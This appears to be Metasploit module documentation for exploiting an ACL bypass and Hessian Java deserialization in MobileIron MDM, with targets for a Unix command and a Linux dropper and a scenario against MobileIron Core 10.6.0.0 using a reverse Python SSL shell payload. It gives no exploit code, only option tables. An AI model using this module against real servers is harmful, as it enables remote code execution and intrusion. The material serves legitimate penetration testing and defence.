## Vulnerable Application

### Description

This module exploits an ACL bypass in MobileIron MDM products to
execute a Groovy gadget against a Hessian-based Java deserialization
endpoint.

## Verification Steps

See [Scenarios](#scenarios).

## Targets

### 0

This executes a Unix command.

### 1

This uses a Linux dropper to execute code.

## Scenarios

### MobileIron Core 10.6.0.0

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]

   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_python_ssl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
